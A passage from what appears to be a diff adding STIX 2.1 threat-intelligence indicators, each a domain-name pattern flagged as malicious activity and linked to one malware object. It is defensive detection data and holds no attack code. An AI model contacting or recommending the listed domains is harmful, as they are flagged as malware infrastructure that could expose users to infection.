"2023-03-29T12:58:44.513528Z", + "modified": "2023-03-29T12:58:44.513528Z", + "relationship_type": "indicates", + "source_ref": "indicator--02822fec-d825-4706-9b32-e794d95ca0ea", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--122d00cb-1a45-4bb0-b30b-7dd74003dff8", + "created": "2023-03-29T12:58:44.513705Z", + "modified": "2023-03-29T12:58:44.513705Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='rentalbath.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.513705Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--7671131f-0636-4f13-b8ab-ddbfd5eaa770", + "created": "2023-03-29T12:58:44.514289Z", + "modified": "2023-03-29T12:58:44.514289Z", + "relationship_type": "indicates", + "source_ref": "indicator--122d00cb-1a45-4bb0-b30b-7dd74003dff8", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c5623a5a-9cf2-4a5e-bd04-a7f4c86a4aaf", + "created": "2023-03-29T12:58:44.514455Z", + "modified": "2023-03-29T12:58:44.514455Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='attemptmousy.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.514455Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b33bb7d1-941f-4317-b2f0-c71047d8adc5", + "created": "2023-03-29T12:58:44.515041Z", + "modified": "2023-03-29T12:58:44.515041Z", + "relationship_type": "indicates", + "source_ref": "indicator--c5623a5a-9cf2-4a5e-bd04-a7f4c86a4aaf", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--1465ed90-d39f-41bb-b2a1-9dd949d48eca", + "created": "2023-03-29T12:58:44.515209Z", + "modified": "2023-03-29T12:58:44.515209Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='blipric.info']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.515209Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--58786d6c-a161-401e-8f8f-3cc090344044", + "created": "2023-03-29T12:58:44.515796Z", + "modified": "2023-03-29T12:58:44.515796Z", + "relationship_type": "indicates", + "source_ref": "indicator--1465ed90-d39f-41bb-b2a1-9dd949d48eca", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--6b460900-a72b-4a46-9dff-cd5e460afcaa", + "created": "2023-03-29T12:58:44.515963Z", + "modified": "2023-03-29T12:58:44.515963Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='recoupunrushed.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.515963Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--da6ca407-5f19-48fe-acb5-e89622ac209f", + "created": "2023-03-29T12:58:44.516554Z", + "modified": "2023-03-29T12:58:44.516554Z", + "relationship_type": "indicates", + "source_ref": "indicator--6b460900-a72b-4a46-9dff-cd5e460afcaa", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--63d8287b-03f2-467f-bfc3-28d94a9554ca", + "created": "2023-03-29T12:58:44.516723Z", + "modified": "2023-03-29T12:58:44.516723Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='garageanimosity.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.516723Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b81918a4-7533-45f8-9bbc-c26001010dd4", + "created": "2023-03-29T12:58:44.51732Z", + "modified": "2023-03-29T12:58:44.51732Z", + "relationship_type": "indicates", + "source_ref": "indicator--63d8287b-03f2-467f-bfc3-28d94a9554ca", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--cc9c7fde-b475-4112-8cff-dd2186bf5ceb", + "created": "2023-03-29T12:58:44.51749Z", + "modified": "2023-03-29T12:58:44.51749Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='henryspumps.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.51749Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a5145bfb-b201-4554-bca3-3ed6b3671751", + "created": "2023-03-29T12:58:44.518221Z", + "modified": "2023-03-29T12:58:44.518221Z", + "relationship_type": "indicates", + "source_ref": "indicator--cc9c7fde-b475-4112-8cff-dd2186bf5ceb", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7c95c299-b3fc-4395-a632-b5d96ba15423", + "created": "2023-03-29T12:58:44.518394Z", + "modified": "2023-03-29T12:58:44.518394Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='almentaricollections.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.518394Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--db337c29-1326-4046-ae2f-2f39d327e26f", + "created": "2023-03-29T12:58:44.519Z", + "modified": "2023-03-29T12:58:44.519Z", + "relationship_type": "indicates", + "source_ref": "indicator--7c95c299-b3fc-4395-a632-b5d96ba15423", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--479f0989-0ca1-4b8d-bc60-011b514b8ce8", + "created": "2023-03-29T12:58:44.519174Z", + "modified": "2023-03-29T12:58:44.519174Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='strongout.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.519174Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--829f4795-9337-44c1-b5cc-928ef38adee3", + "created": "2023-03-29T12:58:44.519758Z", + "modified": "2023-03-29T12:58:44.519758Z", + "relationship_type": "indicates", + "source_ref": "indicator--479f0989-0ca1-4b8d-bc60-011b514b8ce8", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7e3a79cb-ae06-486d-8256-6ff8eb1207b8", + "created": "2023-03-29T12:58:44.519924Z", + "modified": "2023-03-29T12:58:44.519924Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='wrongright.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.519924Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--bd6e397b-aac5-4ae4-9c6f-036aed880e83", + "created": "2023-03-29T12:58:44.520506Z", + "modified": "2023-03-29T12:58:44.520506Z", + "relationship_type": "indicates", + "source_ref": "indicator--7e3a79cb-ae06-486d-8256-6ff8eb1207b8", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--deff25ac-dd5d-42ee-85a3-da7ae4c4ce61", + "created": "2023-03-29T12:58:44.520675Z", + "modified": "2023-03-29T12:58:44.520675Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='eastcoastjigsaw.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.520675Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--075d962d-3a81-4c14-9691-2a827b312c0f", + "created": "2023-03-29T12:58:44.52127Z", + "modified": "2023-03-29T12:58:44.52127Z", + "relationship_type": "indicates", + "source_ref": "indicator--deff25ac-dd5d-42ee-85a3-da7ae4c4ce61", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--49659a5b-f695-4280-9a8c-f65d24dbcfdc", + "created": "2023-03-29T12:58:44.521438Z", + "modified": "2023-03-29T12:58:44.521438Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='unnoticedrelay.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.521438Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d4c8a460-c2f7-49eb-8525-a110afa17e33", + "created": "2023-03-29T12:58:44.522043Z", + "modified": "2023-03-29T12:58:44.522043Z", + "relationship_type": "indicates", + "source_ref": "indicator--49659a5b-f695-4280-9a8c-f65d24dbcfdc", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e9d9154a-31be-47d6-8869-42fa8c1b43fc", + "created": "2023-03-29T12:58:44.522216Z", + "modified": "2023-03-29T12:58:44.522216Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='sidingscrutiny.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.522216Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--2a57c8e6-abad-49d4-8c77-a0f2a12ced90", + "created": "2023-03-29T12:58:44.522811Z", + "modified": "2023-03-29T12:58:44.522811Z", + "relationship_type": "indicates", + "source_ref": "indicator--e9d9154a-31be-47d6-8869-42fa8c1b43fc", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e3b9e121-2774-4508-9582-8be4bbffad10", + "created": "2023-03-29T12:58:44.522979Z", + "modified": "2023-03-29T12:58:44.522979Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='resemblenervous.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.522979Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--1e2c7879-5155-4db9-b68f-7d5c056e2636", + "created": "2023-03-29T12:58:44.523569Z", + "modified": "2023-03-29T12:58:44.523569Z", + "relationship_type": "indicates", + "source_ref": "indicator--e3b9e121-2774-4508-9582-8be4bbffad10", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--3651c193-e890-413b-9445-5fc3ba983ed6", + "created": "2023-03-29T12:58:44.52374Z", + "modified": "2023-03-29T12:58:44.52374Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='sermoncabbage.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.52374Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6bcecfc7-57b8-40e3-893d-f3e55a5bc025", + "created": "2023-03-29T12:58:44.524329Z", + "modified": "2023-03-29T12:58:44.524329Z", + "relationship_type": "indicates", + "source_ref": "indicator--3651c193-e890-413b-9445-5fc3ba983ed6", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--5b69c050-4e52-4a57-b046-ca8dd6bf6422", + "created": "2023-03-29T12:58:44.524497Z", + "modified": "2023-03-29T12:58:44.524497Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='salsastimuli.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.524497Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--207cc4d2-8e36-4d52-a3dc-ab74f653d0ed", + "created": "2023-03-29T12:58:44.525447Z", + "modified": "2023-03-29T12:58:44.525447Z", + "relationship_type": "indicates", + "source_ref": "indicator--5b69c050-4e52-4a57-b046-ca8dd6bf6422", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--bda2083f-5552-4e80-be78-d41e9365ecac", + "created": "2023-03-29T12:58:44.525626Z", + "modified": "2023-03-29T12:58:44.525626Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='scarfprenatal.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.525626Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--79d5f56a-3507-42d8-86ae-f730b2f269a9", + "created": "2023-03-29T12:58:44.526222Z", + "modified": "2023-03-29T12:58:44.526222Z", + "relationship_type": "indicates", + "source_ref": "indicator--bda2083f-5552-4e80-be78-d41e9365ecac", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--23332767-6052-46ce-819d-6870b3df260a", + "created": "2023-03-29T12:58:44.526391Z", + "modified": "2023-03-29T12:58:44.526391Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='miffingdec.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.526391Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ed07188f-f9e3-4d2b-997e-82a0d46c303f", + "created": "2023-03-29T12:58:44.52698Z", + "modified": "2023-03-29T12:58:44.52698Z", + "relationship_type": "indicates", + "source_ref": "indicator--23332767-6052-46ce-819d-6870b3df260a", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--3421b340-4801-4d55-90c5-714b03da934e", + "created": "2023-03-29T12:58:44.527148Z", + "modified": "2023-03-29T12:58:44.527148Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='habitantobtain.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.527148Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--903fcfae-5a04-4c29-9338-cb4a4c949578", + "created": "2023-03-29T12:58:44.527739Z", + "modified": "2023-03-29T12:58:44.527739Z", + "relationship_type": "indicates", + "source_ref": "indicator--3421b340-4801-4d55-90c5-714b03da934e", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d1031d63-c609-48b1-9f7a-94888c5af3a5", + "created": "2023-03-29T12:58:44.527906Z", + "modified": "2023-03-29T12:58:44.527906Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='dyslexicaxis.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.527906Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f695db4f-f579-4774-a874-1f6463c2c181", + "created": "2023-03-29T12:58:44.528493Z", + "modified": "2023-03-29T12:58:44.528493Z", + "relationship_type": "indicates", + "source_ref": "indicator--d1031d63-c609-48b1-9f7a-94888c5af3a5", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--8b40958b-7691-4f36-ab81-f4d20ab5f14c", + "created": "2023-03-29T12:58:44.528662Z", + "modified": "2023-03-29T12:58:44.528662Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='cringepaver.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.528662Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--068ec9ca-0939-41ce-92ea-3c624428e0c0", + "created": "2023-03-29T12:58:44.529246Z", + "modified": "2023-03-29T12:58:44.529246Z", + "relationship_type": "indicates", + "source_ref": "indicator--8b40958b-7691-4f36-ab81-f4d20ab5f14c", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--078366e9-f24b-429e-80b9-9d7e5c77e98d", + "created": "2023-03-29T12:58:44.529417Z", + "modified": "2023-03-29T12:58:44.529417Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='searchingsolar.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.529417Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e5a3bc0f-ab7c-4d45-9b73-90d929805fab", + "created": "2023-03-29T12:58:44.530016Z", + "modified": "2023-03-29T12:58:44.530016Z", + "relationship_type": "indicates", + "source_ref": "indicator--078366e9-f24b-429e-80b9-9d7e5c77e98d", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--4b7b0ca7-009b-4977-981c-ac866cfcc783", + "created": "2023-03-29T12:58:44.530184Z", + "modified": "2023-03-29T12:58:44.530184Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='rockedpens.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.530184Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--46c0d8bf-cbec-4370-bfd8-afa3dd7b27e1", + "created": "2023-03-29T12:58:44.530774Z", + "modified": "2023-03-29T12:58:44.530774Z", + "relationship_type": "indicates", + "source_ref": "indicator--4b7b0ca7-009b-4977-981c-ac866cfcc783", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a42f9702-1bf8-4b62-90ea-e1311d519948", + "created": "2023-03-29T12:58:44.530942Z", + "modified": "2023-03-29T12:58:44.530942Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='aliascannon.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.530942Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--14f7edb3-5679-4dad-b354-ad0f035bada2", + "created": "2023-03-29T12:58:44.53153Z", + "modified": "2023-03-29T12:58:44.53153Z", + "relationship_type": "indicates", + "source_ref": "indicator--a42f9702-1bf8-4b62-90ea-e1311d519948", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--95683769-6bde-46aa-bf01-574bfedc1354", + "created": "2023-03-29T12:58:44.531697Z", + "modified": "2023-03-29T12:58:44.531697Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='payingputt.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.531697Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--1176b208-19f5-42ae-8f39-885162812082", + "created": "2023-03-29T12:58:44.532284Z", + "modified": "2023-03-29T12:58:44.532284Z", + "relationship_type": "indicates", + "source_ref": "indicator--95683769-6bde-46aa-bf01-574bfedc1354", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a5704207-a357-47ef-95a8-ab55e4719f1c", + "created": "2023-03-29T12:58:44.532452Z", + "modified": "2023-03-29T12:58:44.532452Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='shantyreference.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.532452Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--8d908906-f6ec-41ba-8ded-4d4c964695c6", + "created": "2023-03-29T12:58:44.533165Z", + "modified": "2023-03-29T12:58:44.533165Z", + "relationship_type": "indicates", + "source_ref": "indicator--a5704207-a357-47ef-95a8-ab55e4719f1c", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d1766a15-89c9-4aa9-87da-85d48d00001d", + "created": "2023-03-29T12:58:44.533338Z", + "modified": "2023-03-29T12:58:44.533338Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='disruptscreen.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.533338Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--5ce73c8e-50a9-405e-b254-b366ed37b00a", + "created": "2023-03-29T12:58:44.533935Z", + "modified": "2023-03-29T12:58:44.533935Z", + "relationship_type": "indicates", + "source_ref": "indicator--d1766a15-89c9-4aa9-87da-85d48d00001d", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--db2a4f8f-e654-4070-832b-7c6dc03772d4", + "created": "2023-03-29T12:58:44.534104Z", + "modified": "2023-03-29T12:58:44.534104Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='eldercareactive.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.534104Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--2e471a99-9142-416e-bb25-b2c2081bff64", + "created": "2023-03-29T12:58:44.534698Z", + "modified": "2023-03-29T12:58:44.534698Z", + "relationship_type": "indicates", + "source_ref": "indicator--db2a4f8f-e654-4070-832b-7c6dc03772d4", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--3d5d0625-f0f0-4f39-8bd7-ec2511bcbcc7", + "created": "2023-03-29T12:58:44.534866Z", + "modified": "2023-03-29T12:58:44.534866Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='poppydwarf.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.534866Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b678cabe-966c-4854-af56-912a8a4b8818", + "created": "2023-03-29T12:58:44.53545Z", + "modified": "2023-03-29T12:58:44.53545Z", + "relationship_type": "indicates", + "source_ref": "indicator--3d5d0625-f0f0-4f39-8bd7-ec2511bcbcc7", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--3ed362bd-ef47-434d-8192-14b5515e27ed", + "created": "2023-03-29T12:58:44.535619Z", + "modified": "2023-03-29T12:58:44.535619Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='stoogematter.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.535619Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--2795ead7-aa41-4130-8899-e6a40c5f22b9", + "created": "2023-03-29T12:58:44.536209Z", + "modified": "2023-03-29T12:58:44.536209Z", + "relationship_type": "indicates", + "source_ref": "indicator--3ed362bd-ef47-434d-8192-14b5515e27ed", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--0b8f27fa-c176-4c69-8d11-ef9e4fa466ac", + "created": "2023-03-29T12:58:44.536376Z", + "modified": "2023-03-29T12:58:44.536376Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='commencebadge.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.536376Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--07009ec9-5554-470d-b3a9-1954fb3ed934", + "created": "2023-03-29T12:58:44.536973Z", + "modified": "2023-03-29T12:58:44.536973Z", + "relationship_type": "indicates", + "source_ref": "indicator--0b8f27fa-c176-4c69-8d11-ef9e4fa466ac", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a4029c88-8161-4100-9c05-960076dc9a12", + "created": "2023-03-29T12:58:44.537139Z", + "modified": "2023-03-29T12:58:44.537139Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='mastercrate.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.537139Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--bcdf9711-3cca-4fac-9929-53507d5be575", + "created": "2023-03-29T12:58:44.537739Z", + "modified": "2023-03-29T12:58:44.537739Z", + "relationship_type": "indicates", + "source_ref": "indicator--a4029c88-8161-4100-9c05-960076dc9a12", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--bb5b0f3b-37b9-4426-af25-262761299635", + "created": "2023-03-29T12:58:44.537907Z", + "modified": "2023-03-29T12:58:44.537907Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='hunchbackseizing.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.537907Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--59ff9370-ac2b-4880-8af4-5674e3b31537", + "created": "2023-03-29T12:58:44.538501Z", + "modified": "2023-03-29T12:58:44.538501Z", + "relationship_type": "indicates", + "source_ref": "indicator--bb5b0f3b-37b9-4426-af25-262761299635", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--84e30528-feee-415e-be0a-6bb42f6cda42", + "created": "2023-03-29T12:58:44.538668Z", + "modified": "2023-03-29T12:58:44.538668Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='moneywiselyrically.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.538668Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e30f8e66-5014-40a4-835b-e8245fb8641c", + "created": "2023-03-29T12:58:44.539266Z", + "modified": "2023-03-29T12:58:44.539266Z", + "relationship_type": "indicates", + "source_ref": "indicator--84e30528-feee-415e-be0a-6bb42f6cda42", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--044059fd-332f-4e0a-9ac9-c3030b56b0d7", + "created": "2023-03-29T12:58:44.539438Z", + "modified": "2023-03-29T12:58:44.539438Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='yellowflashinglines.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.539438Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--de374fb8-289e-4a85-a33e-6866c5209abe", + "created": "2023-03-29T12:58:44.540161Z", + "modified": "2023-03-29T12:58:44.540161Z", + "relationship_type": "indicates", + "source_ref": "indicator--044059fd-332f-4e0a-9ac9-c3030b56b0d7", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c24250b1-6a11-4110-ac1a-c6180bc8ccf7", + "created": "2023-03-29T12:58:44.54035Z", + "modified": "2023-03-29T12:58:44.54035Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='charcoalrelatable.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.54035Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--69c3ff07-10d4-46e9-8287-9a77f818f1e2", + "created": "2023-03-29T12:58:44.541034Z", + "modified": "2023-03-29T12:58:44.541034Z", + "relationship_type": "indicates", + "source_ref": "indicator--c24250b1-6a11-4110-ac1a-c6180bc8ccf7", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--9897b6ed-a53b-4ea4-88eb-5b4b5041624a", + "created": "2023-03-29T12:58:44.541205Z", + "modified": "2023-03-29T12:58:44.541205Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='brightnights.in']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.541205Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--3ad7ac9e-2316-44f7-8d52-68fb1394c123", + "created": "2023-03-29T12:58:44.541799Z", + "modified": "2023-03-29T12:58:44.541799Z", + "relationship_type": "indicates", + "source_ref": "indicator--9897b6ed-a53b-4ea4-88eb-5b4b5041624a", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--35872ce9-a2bf-4de0-ad0b-6e6e13e8bc68", + "created": "2023-03-29T12:58:44.541966Z", + "modified": "2023-03-29T12:58:44.541966Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='mangocatatonic.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.541966Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": 